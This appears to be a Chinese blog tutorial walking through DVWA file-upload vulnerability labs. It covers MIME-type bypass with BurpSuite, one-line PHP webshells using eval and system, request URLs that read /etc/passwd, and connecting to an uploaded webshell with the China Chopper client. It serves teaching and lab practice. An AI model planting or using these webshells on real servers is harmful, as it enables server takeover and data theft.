文件上传漏洞原理
1、文件上传( File Upload )是大部分web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等 2、正常的文件一般是文档、 图片、视频等, Web应用收集之后放入后台存储,需要的时候再调用出来返回 3、如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺利执行,则相当于黑客直接拿到了Webshell 4、一旦黑客拿到Webshell,则可以拿到Web应用的数据,删除Web文件,本地提权,进步拿下整个服务器甚至 内网 5、SQL注入攻击的对象是数据库服务,文件上传漏洞主要攻击web服务,实际渗透两种相结合,达到对目标的深 度控制
实验过程:
实验一:
低安全模式下,上传任意类型的文件,文件大小限制
PHP源码
实验二:
中安全模式下,绕过类型上传文件[文件mime类型]
上传非指定类型的文件失败
可以看到上面的php源码,它是通过识别content-type 数据类型描述来识别你发的是不是jpeg格式,通过BurpSuite抓包修改对应参数,再forward重放就能完成上传操作
实验三:
高安全模式-上传一句话图片木马 [文件后缀限制]
Webshell
小马: 一句话木马也称为小马,即整个shell代码量只有一行, 一般是系统执行函数 大马:代码量和功能比小马多. -般会进行二次编码加密.防止被安全防火墙/入侵系统检测到
shell2.php #eval 使用php函数,例如phpinfo();
<?php eval($_REQUEST['root']);?> # [ ]里面的是连接的密码也就是root
http://192.168.1.132/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();
shell3. php #system 使用Linux系统命令,例如ls,cp,rm
<?php system($_REQUEST['root']);?>
http://192.168.1.132/dvwa/hackable/uploads/shell3php?yangge=cat/etc/passwd
编写一句话木马,使用的是php函数
上传成功
复制路径,粘贴至后面。
中国菜刀
<?php @eval($_POST['root']);?>
说明 REQUEST是在网页端输入变量访问,POST则是使用像中国菜刀之类的工具连接,是C/S架构。
编写一句话木马,通过post参数,可以用中国菜刀连接
上传木马
打开中国菜刀,复制路径http://192.168.1.132/dvwa/vulnerabilities/upload/../../hackable/uploads/shell.php 也就是上传木马的完整路径。密码填选[ ]里的,也就是root
进行数据库连接
解释:
<T>数据库类型(type)</T>
<H>数据库地址(host)</H>
<U>用户名(user)</U>
<P>密码(password)</P>
<L>编码</L>
标签:Web,菜刀,文件,漏洞,木马,php,上传 From: https://www.cnblogs.com/Wesuiliye/p/17284840.html